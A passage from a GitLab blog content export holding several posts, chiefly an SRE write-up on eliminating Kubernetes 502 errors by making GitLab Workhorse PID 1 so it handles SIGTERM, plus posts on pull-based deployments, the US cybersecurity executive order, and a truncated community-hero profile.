intervention\neasier scaling of identical clusters\n\nPull-based deployment cons:\n- agent needs to be installed in every cluster\n- limited to Kubernetes only\n\n## How pull-based deployment impacts the Free-tier experience\n\nIncluding support for pull-based deployments in GitLab’s Free tier provides a tremendous competitive advantage for smaller organizations as they can now apply automation in a safe and scalable manner to their cloud-native infrastructure, including virtual containers and clusters. And, for organizations that are trying to get started quickly by minimizing the number of tools in their infrastructure ecosystem, this functionality is included in One DevOps Platform, not as a point solution. \n\n“DevOps teams don’t have to continuously write code for new infrastructure elements – they can write the code once, within a single DevOps platform, and have the agent automatically find it, pull it, and apply it, as well as configuration changes,” Nagy says. “Also, with the availability of pull-based deployment in this introductory tier, newcomers to GitLab will immediately be able to modernize application development and reduce the security risk associated with configuring such infrastructure.”\n\n_This blog post contains information related to upcoming products, features, and functionality. It is important to note that the information presented is for informational purposes only. Please do not rely on this information for purchasing or planning purposes. As with all projects, the items mentioned in this blog post and linked pages are subject to change or delay. The development, release, and timing of any products, features, or functionality remain at the sole discretion of GitLab Inc._\n\n\n\n\n\n\n",[7116,2509,674,3949,534],{"slug":14048,"featured":6,"template":678},"pull-based-kubernetes-deployments-coming-to-gitlab-free-tier","content:en-us:blog:pull-based-kubernetes-deployments-coming-to-gitlab-free-tier.yml","Pull Based Kubernetes Deployments Coming To Gitlab Free Tier","en-us/blog/pull-based-kubernetes-deployments-coming-to-gitlab-free-tier.yml","en-us/blog/pull-based-kubernetes-deployments-coming-to-gitlab-free-tier",{"_path":14054,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":14055,"content":14061,"config":14066,"_id":14068,"_type":16,"title":14069,"_source":17,"_file":14070,"_stem":14071,"_extension":20},"/en-us/blog/how-we-removed-all-502-errors-by-caring-about-pid-1-in-kubernetes",{"title":14056,"description":14057,"ogTitle":14056,"ogDescription":14057,"noIndex":6,"ogImage":14058,"ogUrl":14059,"ogSiteName":1180,"ogType":1181,"canonicalUrls":14059,"schema":14060},"How we reduced 502 errors by caring about PID 1 in Kubernetes","For every deploy, scale down event, or pod termination, users of GitLab's Pages service were experiencing 502 errors. This explains how we found the root cause and rolled out a fix for it.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749682305/Blog/Hero%20Images/KubeCon2022.jpg","https://about.gitlab.com/blog/how-we-removed-all-502-errors-by-caring-about-pid-1-in-kubernetes","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How we reduced 502 errors by caring about PID 1 in Kubernetes\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Steve Azzopardi\"}],\n        \"datePublished\": \"2022-05-17\",\n      }",{"title":14056,"description":14057,"authors":14062,"heroImage":14058,"date":14063,"body":14064,"category":734,"tags":14065},[13361],"2022-05-17","\n\n_This blog post and linked pages contain information related to upcoming products, features, and functionality. It is important to note that the information presented is for informational purposes only. Please do not rely on this information for purchasing or planning purposes. As with all projects, the items mentioned in this blog post and linked pages are subject to change or delay. The development, release, and timing of any products, features, or functionality remain at the sole discretion of GitLab Inc._\n\nOur [SRE on call](https://about.gitlab.com/handbook/engineering/infrastructure/incident-management/#engineer-on-call-eoc-responsibilities)\nwas getting paged daily that one of our\n[SLIs](https://www.youtube.com/watch?v=tEylFyxbDLE) was\nburning through our\n[SLOs](https://www.youtube.com/watch?v=tEylFyxbDLE) for the [GitLab\nPages](https://docs.gitlab.com/ee/user/project/pages/) service. It was\nintermittent and short-lived, but enough to cause user-facing impact which we\nweren't comfortable with. This turned into alert fatigue because there wasn't\nenough time for the SRE on call to investigate the issue and it wasn't\nactionable since it recovered on its own.\n\nWe decided to open up an [investigation issue](https://gitlab.com/gitlab-com/gl-infra/reliability/-/issues/15497)\nfor these alerts. We had to find out what the issue was since we were\nshowing `502` errors to our users and we needed a\n[DRI](https://about.gitlab.com/handbook/people-group/directly-responsible-individuals/)\nthat wasn't on call to investigate.\n\n## What is even going on?\n\nAs an [SRE](https://handbook.gitlab.com/job-families/engineering/infrastructure/site-reliability-engineer/)\nat GitLab, you get to touch a lot of services that you didn't build yourself and\ninteract with system dependencies that you might have not touched before.\nThere's always detective work to do!\n\nWhen we looked at the GitLab Pages logs we found that it's always returning\n[`ErrDomainDoesNotExist`](https://gitlab.com/gitlab-org/gitlab-pages/-/blob/e1f1effa23c520d3b8b717d831ccab7ba3dd494f/internal/routing/middleware.go#L22-26)\nerrors which result in a `502` error to our users. GitLab Pages [sends a request](https://gitlab.com/gitlab-org/gitlab-pages/-/blob/e1f1effa23c520d3b8b717d831ccab7ba3dd494f/internal/source/gitlab/client/client.go#L101-127)\nto [GitLab Workhorse](https://docs.gitlab.com/ee/development/workhorse/),\nspecifically the `/api/v4/internal/pages` route.\n\nGitLab Workhorse is a Go service in front of our Ruby on Rails monolith and\nit's deployed as a [sidecar](https://www.magalix.com/blog/the-sidecar-pattern)\ninside of the `webservice pod`, which runs Ruby on Rails using the `Puma` web\nserver.\n\nWe used the internal IP to correlate the GitLab Pages requests with GitLab Workhorse\ncontainers. We looked at multiple requests and found that all the 502 requests\nhad the following error attached to them: [`502 Bad Gateway with dial tcp 127.0.0.1:8080: connect: connection refused`](https://gitlab.com/gitlab-org/gitlab/-/blob/f64be48cc737f5d12c1c30f724af540a836dcc94/workhorse/internal/badgateway/roundtripper.go#L43).\nThis means that GitLab Workhorse couldn't connect to the Puma web server. So we\nneeded to go another layer deeper.\n\nThe Puma web server is what runs the Ruby on Rails monolith which has an\ninternal API endpoint but Puma was never getting these requests since it wasn't\nrunning. What this tells us is that Kubernetes kept our pod in the\n[service](https://kubernetes.io/docs/concepts/services-networking/service/)\neven when Puma wasn't responding, despite having [readiness probes](https://gitlab.com/gitlab-org/charts/gitlab/-/blob/4bb638bccc6a676f9fdd5bbf800f7d2b977efd55/charts/gitlab/charts/webservice/templates/deployment.yaml#L279-287)\nconfigured.\n\nBelow is the request flow between GitLab Pages, GitLab Workhorse, and Puma/Webservice to try and make it more clear:\n\n![overview of the request flow](https://about.gitlab.com/images/blogimages/how-we-removed-all-502-errors-by-caring-about-pid-1-in-kubernetes/overview.png){: .shadow.center}\n\n## Attempt 1: Red herring\n\nWe shifted our focus on GitLab Workhorse and Puma to try and understand how\nGitLab Workhorse was returning 502 errors in the first place. We found some\n`502 Bad Gateway with dial tcp 127.0.0.1:8080: connect: connection refused`\nerrors during container startup time. How could this be? With the readiness\nprobe, the pod shouldn't be added to the\n[Endpoint](https://kubernetes.io/docs/concepts/services-networking/service/#over-capacity-endpoints)\nuntil [all readiness probes pass](https://gitlab.com/gitlab-com/gl-infra/reliability/-/issues/15497#note_899321775).\nWe later found out that it's because of a [polling\nmechanisim](https://gitlab.com/gitlab-com/gl-infra/reliability/-/issues/15497#note_899629314)\nthat we have for [Geo](https://docs.gitlab.com/ee/administration/geo/) which\nruns in the background, using a Goroutine in GitLab Workhorse, and pings Puma for Geo information.\nWe don't have Geo enabled on GitLab.com so we [simply disabled it](https://gitlab.com/gitlab-com/gl-infra/k8s-workloads/gitlab-com/-/merge_requests/1670)\nto reduce the noise.\n\nWe removed the 502 errors, but not the ones we want, just a red herring.\n\n## Attempt 2: Close but not quite\n\nAt this time, we were still burning through our SLO from time to time, so this\nwas still an urgent thing that we needed to fix. Now that we had cleaner logs for\n`502` errors it started to become a bit clearer that this is happening on pod\ntermination:\n\n```\n2022-04-05 06:03:49.000 UTC: Readiness probe failed\n2022-04-05 06:03:51.000 UTC: Puma (127.0.0.1:8080) started shutdown.\n2022-04-05 06:04:04.526 UTC: Puma shutdown finished.\n2022-04-05 06:04:04.000 UTC - 2022-04-05 06:04:46.000 UTC: workhorse started serving 502 constantly.  42 seconds of serving 502 requests for any request that comes in apart from /api/v4/jobs/request\n```\n\nIn the timeline shown above, we see that we've kept serving requests well after\nour `Puma`/`webservice` container exited, and the first readiness probe failed.\nIf we look at the readiness probes we had on that pod we see the following:\n\n```\n$ kubectl -n gitlab get po gitlab-webservice-api-785cb54bbd-xpln2 -o jsonpath='{range .spec.containers[*]} {@.name}{\":\\n\\tliveness:\"} {@.livenessProbe} {\"\\n\\treadiness:\"} {@.readinessProbe} {\"\\n\"} {end}'\n webservice:\n        liveness: {\"failureThreshold\":3,\"httpGet\":{\"path\":\"/-/liveness\",\"port\":8080,\"scheme\":\"HTTP\"},\"initialDelaySeconds\":20,\"periodSeconds\":60,\"successThreshold\":1,\"timeoutSeconds\":30}\n        readiness: {\"failureThreshold\":3,\"httpGet\":{\"path\":\"/-/readiness\",\"port\":8080,\"scheme\":\"HTTP\"},\"initialDelaySeconds\":60,\"periodSeconds\":10,\"successThreshold\":1,\"timeoutSeconds\":2}\n  gitlab-workhorse:\n        liveness: {\"exec\":{\"command\":[\"/scripts/healthcheck\"]},\"failureThreshold\":3,\"initialDelaySeconds\":20,\"periodSeconds\":60,\"successThreshold\":1,\"timeoutSeconds\":30}\n        readiness: {\"exec\":{\"command\":[\"/scripts/healthcheck\"]},\"failureThreshold\":3,\"periodSeconds\":10,\"successThreshold\":1,\"timeoutSeconds\":2}\n```\n\nThis meant that for the `webservice` pod to be marked unhealthy and removed\nfrom the endpoints, Kubernetes had to get 3 consecutive failures with an\ninterval of 10 seconds, so in total that's 30 seconds. That seems a bit slow.\n\nOur next logical step was to reduce the `periodSeconds` for the readiness probe\nfor the `webservice` pod so we don't wait 30 seconds before removing the pod\nfrom the service when it becomes unhealthy.\n\nBefore doing so we had to understand if sending more requests to `/-/readiness`\nendpoint would have any knock-on effect with using more memory or anything\nelse. We had to [understand what the `/-/readiness` endpoint was doing](https://gitlab.com/gitlab-com/gl-infra/reliability/-/issues/15497#note_903812722)\nand if it was safe to increase the frequency at which we send requests. We\ndecided it was safe, and after enabling it on\n[staging](https://gitlab.com/gitlab-com/gl-infra/k8s-workloads/gitlab-com/-/merge_requests/1686#note_903877755),\nand\n[canary](https://gitlab.com/gitlab-com/gl-infra/k8s-workloads/gitlab-com/-/merge_requests/1688#note_904501848)\nwe didn't see any increase in CPU/Memory usage, as expected, and saw an\nimprovement in the removal of 502 errors, which made us more confident that\nthis was the issue. We rolled this out to\n[production](https://gitlab.com/gitlab-com/gl-infra/k8s-workloads/gitlab-com/-/merge_requests/1689)\nwith high hopes.\n\nAs usual, Production is a different story than Staging or Canary, and it showed\nthat it didn't remove all the 502 errors, just [enough to stop triggering the SLO every day](https://gitlab.com/gitlab-com/gl-infra/reliability/-/issues/15497#note_905993144),\nbut at least we removed the alert fatigue on the SRE on call. We were close, but not quite.\n\n## Attempt 3: All gone!\n\nAt this point, we were a bit lost and weren't sure what to look at next. We had\na bit of tunnel vision and kept focusing/blaming that we aren't removing the\nPod from the `Endpoint` quickly enough. We even looked at [Google Cloud Platform\nNEGs](https://cloud.google.com/kubernetes-engine/docs/how-to/standalone-neg) to\nsee if we could have faster readiness probes and remove the pod quicker. However,\nthis wasn't ideal [because we wouldn't have solved this for our self-hosting customers](https://gitlab.com/gitlab-com/gl-infra/reliability/-/issues/15497#note_908359286)\nwhich seem to be facing the same [problem](https://gitlab.com/gitlab-org/charts/gitlab/-/issues/2943).\n\nWhile researching we also came across a known problem with [running `Puma` in\nKubernetes](https://github.com/puma/puma/blob/bf2548ce300c2b4f671582bc756dcec5861e815f/docs/kubernetes.md),\nand thought that might be the solution. However, we already implemented a\n[blackout window](https://gitlab.com/gitlab-org/charts/gitlab/-/blob/c1b63f3a4867886bc1212d86985fc70e66b717c5/charts/gitlab/charts/webservice/templates/deployment.yaml#L223-224)\njust for this specific reason, so it couldn't be that either...in other words, it was another dead end.\n\nWe took a step back and looked at the [timelines one more time](https://gitlab.com/gitlab-com/gl-infra/reliability/-/issues/15497#note_910106152)\nand then it hit us. The Puma/webservice container is terminating within a\nfew seconds, but the GitLab Workhorse one is always taking 30 seconds. Is it because\nof the [long polling from GitLab Runner](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/21698)? 30 seconds\nis a \"special\" number for Kubernetes [pod termination](https://kubernetes.io/docs/concepts/workloads/pods/pod-lifecycle/#pod-termination).\nWhen Kubernetes deletes a pod it firsts sends the `TERM` signal to the\ncontainer and waits 30 seconds, if the container hasn't exited yet, it will\nsend a `KILL` signal. This indicated that maybe GitLab Workhorse was never\nshutting down and Kubernetes had to kill it.\n\nOnce more we looked at GitLab Workhorse source code and [searched for the `SIGTERM` usage](https://gitlab.com/gitlab-org/gitlab/-/blob/d66f10e169a08cedcbfe70e3ea46cbfbb20d972d/workhorse/main.go#L238-258)\nand it did seem to support [graceful termination](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/62701) and\nit also had explicit logic about long polling requests, so is this just another\ndead end? Luckily when the `TERM` signal is sent, Workhorse [logs a message that\nit's shutting down](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/62701). We looked\nat our logs for this specific message and didn't see anything. Is this it? We\naren't gracefully shutting down? But how? Why does it result in 502 errors?\nWhy do the GitLab Pages keep using the same pod that is terminating?\n\nWe know that the `TERM` signal is being sent to PID 1 inside of the container,\nand that process should handle the `TERM` signal for graceful shutdown. We\nlooked at the GitLab Workhorse process tree and this is what we found:\n\n```sh\ngit@gitlab-webservice-default-5d85b6854c-sbx2z:/$ ps faux\nUSER         PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND\nroot        1015  0.0  0.0 805036  4588 ?        Rsl  13:12   0:00 runc init\ngit         1005  0.3  0.0   5992  3784 pts/0    Ss   13:12   0:00 bash\ngit         1014  0.0  0.0   8592  3364 pts/0    R+   13:12   0:00  \\_ ps faux\ngit            1  0.0  0.0   2420   532 ?        Ss   12:52   0:00 /bin/sh -c /scripts/start-workhorse\ngit           16  0.0  0.0   5728  3408 ?        S    12:52   0:00 /bin/bash /scripts/start-workhorse\ngit           19  0.0  0.3 1328480 33080 ?       Sl   12:52   0:00  \\_ gitlab-workhorse -logFile stdout -logFormat json -listenAddr 0.0.0.0:8181 -documentRoot /srv/gitlab/public -secretPath /etc/gitlab/gitlab-workhorse/secret -config /srv/gitlab/config/workhorse-config.toml\n```\n\nBingo! `gitlab-workhorse` is PID 19 in this case, and a child process of a\n[script](https://gitlab.com/gitlab-org/build/CNG/-/blob/92d3e22e9ff6c5cbb685aeea99813751d5e19a9d/gitlab-workhorse/Dockerfile#L51)\nthat we invoke. Taking a close look at the\n[script](https://gitlab.com/gitlab-org/build/CNG/-/blob/92d3e22e9ff6c5cbb685aeea99813751d5e19a9d/gitlab-workhorse/scripts/start-workhors)\nwe check if it listens to `TERM` and it doesn't! So far everything indicated\nthat GitLab Workhorse was never getting the `TERM` signal which ended up in receiving\n`KILL` after 30 seconds. We updated our `scripts/start-workhorse` to use\n[`exec(1)`](https://linux.die.net/man/1/exec) so that `gitlab-workhorse`\nreplaced the PID of our bash script, that should have worked, right? When we tested\nthis locally we then saw the following process tree.\n\n```\ngit@gitlab-webservice-default-84c68fc9c9-xcsnm:/$ ps faux\nUSER         PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND\ngit          167  0.0  0.0   5992  3856 pts/0    Ss   14:27   0:00 bash\ngit          181  0.0  0.0   8592  3220 pts/0    R+   14:27   0:00  \\_ ps faux\ngit            1  0.0  0.0   2420   520 ?        Ss   14:24   0:00 /bin/sh -c /scripts/start-workhorse\ngit           17  0.0  0.3 1328228 32800 ?       Sl   14:24   0:00 gitlab-workhorse -logFile stdout -logFormat json -listenAddr 0.0.0.0:8181 -documentRoot /srv/gitlab/public -secretPath /etc/gitlab/gitlab-workhorse/secret -config /srv/gitlab/config/workhorse-config.toml\n```\n\nThis changed a bit: this shows that `gitlab-workhorse` was no longer a child\nprocess of `/scripts/start-workhorse` however `/bin/sh` was still PID 1. What is even\ninvoking `/bin/sh` that we didn't see anywhere in our\n[Dockerfile](https://gitlab.com/gitlab-org/build/CNG/-/blob/92d3e22e9ff6c5cbb685aeea99813751d5e19a9d/gitlab-workhorse/Dockerfile)?\nAfter some thumb-twiddling, we had an idea that the container runtime is invoking\n`/bin/sh`. We went back to basics and looked at the\n[`CMD`](https://docs.docker.com/engine/reference/builder/#cmd) documentation to\nsee if we were missing something, and we were. We read the following:\n\n> If you use the shell form of the CMD, then the \u003Ccommand> will execute in `/bin/sh -c`:\n>\n> ```\n> FROM ubuntu\n> CMD echo \"This is a test.\" | wc -\n> ```\n>\n> If you want to run your \u003Ccommand> without a shell then you must express the command as a JSON array and give the full path to the executable. This array form is the preferred format of CMD. Any additional parameters must be individually expressed as strings in the array:\n>\n> ```\n> FROM ubuntu\n> CMD [\"/usr/bin/wc\",\"--help\"]\n> ```\n\nThis was exactly [what we were doing](https://gitlab.com/gitlab-org/build/CNG/-/blob/92d3e22e9ff6c5cbb685aeea99813751d5e19a9d/gitlab-workhorse/Dockerfile#L51)! \nwe weren't using `CMD` in `exec form`, but in `shell form`. Changing this confirmed\nthat `gitlab-workhorse` is now PID 1, and also receives the termination signal\nafter testing it locally:\n\n```\ngit@gitlab-webservice-default-84c68fc9c9-lzwmp:/$ ps faux\nUSER         PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND\ngit           65  1.0  0.0   5992  3704 pts/0    Ss   15:25   0:00 bash\ngit           73  0.0  0.0   8592  3256 pts/0    R+   15:25   0:00  \\_ ps faux\ngit            1  0.2  0.3 1328228 32288 ?       Ssl  15:24   0:00 gitlab-workhorse -logFile stdout -logFormat json -listenAddr 0.0.0.0:8181 -documentRoot /srv/gitlab/public -secretPath /etc/gitlab/gitlab-workhorse/secret -config /srv/gitlab/config/workhorse-config.toml\n```\n\n```\n{\"level\":\"info\",\"msg\":\"shutdown initiated\",\"shutdown_timeout_s\":61,\"signal\":\"terminated\",\"time\":\"2022-04-13T15:27:57Z\"}\n{\"level\":\"info\",\"msg\":\"keywatcher: shutting down\",\"time\":\"2022-04-13T15:27:57Z\"}\n{\"error\":null,\"level\":\"fatal\",\"msg\":\"shutting down\",\"time\":\"2022-04-13T15:27:57Z\"}\n```\n\nOk, then we just needed to update `exec` and `CMD []` and we would have been\ndone, right? Almost. GitLab Workhorse proxies all of the requests for the API, Web, and Git requests so we couldn't just do a big change and expect that everything is going to be OK. We had to progressively roll this out to make\nsure we didn't break any existing working behavior since this affects all the\nrequests we get to GitLab.com. To do this, we hid it behind a [feature\nflag](https://gitlab.com/gitlab-org/build/CNG/-/merge_requests/972) so GitLab\nWorkhorse is only PID 1 when the `GITLAB_WORKHORSE_EXEC` environment variable\nis set. This allowed us to deploy the change and only enable it on a small part\nof our fleet to see if we see any problems. We were a bit more careful here and\nrolled it out zone by zone in Production since we run on 3 zones. When we\nrolled it out in the [first\nzone](https://gitlab.com/gitlab-com/gl-infra/reliability/-/issues/15497#note_919259030)\nwe saw all 502 errors disappear! After fully rolling this out we see that [the\nproblem is fixed and it had no negative side\neffects](https://gitlab.com/gitlab-com/gl-infra/reliability/-/issues/15497#note_920585707). Hurray!\n\nWe still had one question unanswered, why were GitLab Pages still trying to use\nthe same connection even after the Pod was removed from the Service because it was\nscheduled for deletion? When we looked at Go internals we see that [Go reuses\nTCP connections](https://gitlab.com/gitlab-com/gl-infra/reliability/-/issues/15497#note_920642770)\nif we close the body of the request. So even though it's not part of the Service\nwe can still keep the TCP connection open and send requests – this explains why\nwe kept seeing 502 on pod being terminated and always from the same GitLab\nPages pod.\n\nNow it's all gone!\n\n## More things that we can explore\n\n1. We've made graceful termination for GitLab Workhorse as [default](https://gitlab.com/gitlab-com/gl-infra/k8s-workloads/gitlab-com/-/merge_requests/1732).\n1. Audit all of our Dockerfiles that use `CMD command` and fix them. We've found 10, and [fixed all of them](https://gitlab.com/gitlab-org/charts/gitlab/-/issues/3249).\n1. [Better readiness Probe defaults for `webservice` pod](https://gitlab.com/gitlab-org/charts/gitlab/-/merge_requests/2518).\n1. Add [linting](https://gitlab.com/gitlab-org/charts/gitlab/-/issues/3253) for Dockerfiles.\n1. See if any of our child processes need [zombie process reaping](https://blog.phusion.nl/2015/01/20/docker-and-the-pid-1-zombie-reaping-problem/).\n\n## Takeaways\n\n1. We should always care about what is PID 1 in a container.\n1. Always try and use `CMD [\"executable\",\"param1\",\"param2\"]` in your Dockerfile.\n1. Pods are removed from the Service/Endpoint in async.\n1. If you are on GKE [NEGs](https://cloud.google.com/kubernetes-engine/docs/how-to/standalone-neg) might be better for readinessProbes.\n1. By default, there is a 30 second grace period between the `TERM` signal and the `KILL` signal when Pods terminate. You can update the time between the signals `terminationGracePeriodSeconds`.\n1. The Go `http.Client` will reuse the TCP connection if [the body is closed](https://cs.opensource.google/go/go/+/refs/tags/go1.18.2:src/net/http/response.go;l=59-64) which in this case made the issue worse.\n\nThank you to [@igorwwwwwwwwwwwwwwwwwwww](https://gitlab.com/igorwwwwwwwwwwwwwwwwwwww), [@gsgl](https://gitlab.com/gsgl), [@jarv](https://gitlab.com/jarv), and [@cmcfarland](https://gitlab.com/cmcfarland) for helping me debug this problem!\n\n",[2509],{"slug":14067,"featured":6,"template":678},"how-we-removed-all-502-errors-by-caring-about-pid-1-in-kubernetes","content:en-us:blog:how-we-removed-all-502-errors-by-caring-about-pid-1-in-kubernetes.yml","How We Removed All 502 Errors By Caring About Pid 1 In Kubernetes","en-us/blog/how-we-removed-all-502-errors-by-caring-about-pid-1-in-kubernetes.yml","en-us/blog/how-we-removed-all-502-errors-by-caring-about-pid-1-in-kubernetes",{"_path":14073,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":14074,"content":14080,"config":14086,"_id":14088,"_type":16,"title":14089,"_source":17,"_file":14090,"_stem":14091,"_extension":20},"/en-us/blog/biden-administration-celebrates-1-year-anniversary-of-eo-by-accelerating-software-supply-chain-security",{"title":14075,"description":14076,"ogTitle":14075,"ogDescription":14076,"noIndex":6,"ogImage":14077,"ogUrl":14078,"ogSiteName":1180,"ogType":1181,"canonicalUrls":14078,"schema":14079},"Biden administration updates software supply chain security requirements","GitLab's One DevOps Platform can help agencies comply with government requirements.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749667852/Blog/Hero%20Images/eosecurity.jpg","https://about.gitlab.com/blog/biden-administration-celebrates-1-year-anniversary-of-eo-by-accelerating-software-supply-chain-security","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Biden administration accelerates software supply chain security expectations a year into Executive Order\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sandra Gittlen\"}],\n        \"datePublished\": \"2022-05-12\",\n      }",{"title":14081,"description":14076,"authors":14082,"heroImage":14077,"date":14083,"body":14084,"category":962,"tags":14085},"Biden administration accelerates software supply chain security expectations a year into Executive Order",[3281],"2022-05-12","\n\nPresident Joe Biden last year on May 12th signed [Executive Order 14028 \"Improving the Nation’s Cybersecurity\"](https://www.whitehouse.gov/briefing-room/presidential-actions/2021/05/12/executive-order-on-improving-the-nations-cybersecurity/), which called on public and private sector organizations to improve the nation’s cybersecurity with “bold change” and “significant investments”. “Incremental improvements will not give us the security we need,” the EO states. Since then, the administration has only increased the pressure on agencies, forcing them to take a hard look at their software supply chains and justify their application development decisions, including how they use open source code, test their code, and grant permissions.\n\n“The federal government has accelerated its expectations for software supply chain security compliance, yet some organizations are still trying to understand how to broadly and proactively protect their software development,” says [Joel Krooswyk](https://gitlab.com/jkrooswyk), Senior Manager of Solutions Architecture at GitLab. “Agencies and their vendors have been focused on policy management and role-based access, but the federal government wants to go deeper and know where code is coming from and how to better secure it. They are quickly moving down the supply chain.” \n\nThe interest in the origins of software code stems from the complexity of cyberattacks such as that [carried out on SolarWinds](/blog/what-the-solarwinds-attack-can-teach-us-about-devsecops/), as well as the ongoing [log4j](/blog/use-gitlab-to-detect-vulnerabilities/) and Spring4Shell vulnerabilities. “Intentionally malicious contributions can inject code that is literally opening the doors to hackers,” Krooswyk says. “However, agencies and vendors can’t just stop utilizing open source software and microservices. They need the ingenuity of the open source community.” GitLab is a proponent of open source and believes [everyone can contribute](/company/mission/).\n\nThe Biden administration, through its frameworks and mandates, is simply saying, 'we have to keep a better eye on that,' especially as more organizations assume a cloud-first posture, according to Krooswyk.\n\nFor example, earlier this year, the National Institute of Standards and Technology (NIST) published the Software Security Development Framework (SSDF) 1.1, which offers guidance on how to [create tighter controls throughout the software development lifecycle](/blog/comply-with-nist-secure-supply-chain-framework-with-gitlab/).\n\nThe SSDF 1.1 framework recommends: \n- organizations should be prepared by reviewing permissions\n- all components of software should be safe from tampering and unauthorized access\n- software should be produced with minimal security vulnerabilities in its releases\n- organizations should be able to quickly and sufficiently respond to vulnerabilities \n\n## Code sourcing\n\nThe next phase in the federal government’s move to secure the software supply chain will be to [require reporting and/or attestation](/blog/securing-the-software-supply-chain-through-automated-attestation/).\n\n“Agencies and their vendors are being asked if their software is justifiably built using properly sourced code. As a result, organizations may have to explain why they chose to use code from non-mainline repositories,” Krooswyk says.\n\nFor instance, if a DevOps team chooses code from a non-mainline repository originating in China, they will have to attest to why they did that over sourcing from a mainline repository. The same idea applies to pulling clean containers and not repeatedly using those plagued with existing vulnerabilities, according to Krooswyk.\n\nHe believes these questions will all be rolled up into a Cybersecurity & Infrastructure Software Agency (CISA) mandate for a [software bill of materials](https://www.cisa.gov/sbom) (SBOM), which is a list of ingredients that make up software components. “The SBOM will show the list of contributors, known vulnerabilities, results of dependency scans on open source, and more,” he says. “The Biden administration, NIST, and CISA are all in alignment on the need for more consistent software security attestation.”\n\n## How to prepare\n\nWhile some agencies, like the U.S. Department of Defense, might be on the cutting edge of these mandates, smaller agencies or those with more legacy infrastructure and practices might require more effort to be able to comply. “If your development, operations, and security processes aren’t transparent or fully documented and if your scanning is still manual, then these new requirements could be a roadblock,” Krooswyk says. “The administration is only going broader in terms of the scope of mandates and more specific with security requirements as time progresses to plug all the security holes, meaning more regulations and further compliance.”\n\nGitLab believes some of the long-term asks expected to come from the government may include:\n- bake security in, don’t bolt it on\n- ensure scanning is top of mind\n- maintain zero-trust permission models and source code management controls\n- any open source software used should have known origins and support SBOM generation, verifiable by dependency scanning\n- purchase secure commercial off-the-shelf software that complies with all security and labeling requirements from standards bodies\n\nGitLab’s One DevOps Platform can help organizations answer this request for software supply chain security compliance through visibility and transparency into processes, verifiable compliance, zero-trust user management, and templated security automation. “While we are helping organizations with cloud adoption and infrastructure modernization, we’re doing so in such a way as to not compromise on risk or security, providing end-to-end traceability and step-by-step auditability from issue creation through deployment,” he says.\n\nGitLab has a distinct set of features that make enabling NIST frameworks and attesting to code sourcing decisions easier:\n- [SBOM creation](https://docs.gitlab.com/ee/user/application_security/dependency_list/#dependency-list) in a standardized format \n- [Security dashboards](https://docs.gitlab.com/ee/user/application_security/security_dashboard/)\n- [Vulnerability reports and remediation](https://docs.gitlab.com/ee/user/application_security/vulnerability_report/)\n- [Pipeline frameworks and compliance](https://docs.gitlab.com/ee/user/project/settings/#compliance-frameworks)\n- [Security scanning breadth of offering](https://docs.gitlab.com/ee/user/application_security/) from SAST and DAST to fuzz testing \n\nAs the EO states, incremental improvements are not enough to properly secure software. To meet the totality, speed, and sophistication of the administration’s demands for cybersecurity protections, consider adopting GitLab’s One DevOps Platform.\n\n",[4103,674,815],{"slug":14087,"featured":6,"template":678},"biden-administration-celebrates-1-year-anniversary-of-eo-by-accelerating-software-supply-chain-security","content:en-us:blog:biden-administration-celebrates-1-year-anniversary-of-eo-by-accelerating-software-supply-chain-security.yml","Biden Administration Celebrates 1 Year Anniversary Of Eo By Accelerating Software Supply Chain Security","en-us/blog/biden-administration-celebrates-1-year-anniversary-of-eo-by-accelerating-software-supply-chain-security.yml","en-us/blog/biden-administration-celebrates-1-year-anniversary-of-eo-by-accelerating-software-supply-chain-security",{"_path":14093,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":14094,"content":14100,"config":14104,"_id":14106,"_type":16,"title":14107,"_source":17,"_file":14108,"_stem":14109,"_extension":20},"/en-us/blog/gitlab-heroes-unmasked-elevating-my-company-using-gitlab",{"title":14095,"description":14096,"ogTitle":14095,"ogDescription":14096,"noIndex":6,"ogImage":14097,"ogUrl":14098,"ogSiteName":1180,"ogType":1181,"canonicalUrls":14098,"schema":14099},"GitLab Heroes Unmasked: How I am elevating my company using GitLab","Tickett Enterprises Limited Director Lee Tickett shares the details of his ongoing journey to use the DevOps platform to its fullest.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749667569/Blog/Hero%20Images/heroestickett.jpg","https://about.gitlab.com/blog/gitlab-heroes-unmasked-elevating-my-company-using-gitlab","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab Heroes Unmasked: How I am elevating my company using GitLab\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Lee Tickett\"}],\n        \"datePublished\": \"2022-05-12\",\n      }",{"title":14095,"description":14096,"authors":14101,"heroImage":14097,"date":14083,"body":14102,"category":962,"tags":14103},[810],"\n_A key to GitLab’s success is our vast community of advocates. Here at GitLab, we call these active contributors [\"GitLab Heroes\"](/community/heroes/). Each hero contributes to GitLab in numerous ways, including elevating releases, sharing best practices, speaking at events, and more. The \"GitLab Heroes Unmasked\" series is dedicated to sharing their stories._\n\nLee Tickett, director at IT development and support consultancy Tickett Enterprises Limited, is a GitLab hero and Core team member who continuously contributes to GitLab and provides exceptional feedback. In late 2020, he [wrote a blog](/blog/lee-tickett-my-gitlab-journey/) about how he came upon GitLab and began to use it as his company's platform.\n\nAt that point, his company was using GitLab in the following ways:\n\n- for version control\n- with a custom merge request approval process\n- as a custom UI for streamlined/standardized project creation\n- as an integration with our bespoke helpdesk platform\n- as a Windows runner with fairly basic CI\n\nThis blog picks up where that blog left off and gives insight into how Tickett Enterprises is making the most of GitLab's One DevOps Platform for its helpdesk, CRM integration, CI/CD, and more.\n\n## Migrating the helpdesk\n\nQuite some time ago, I decided to migrate from the 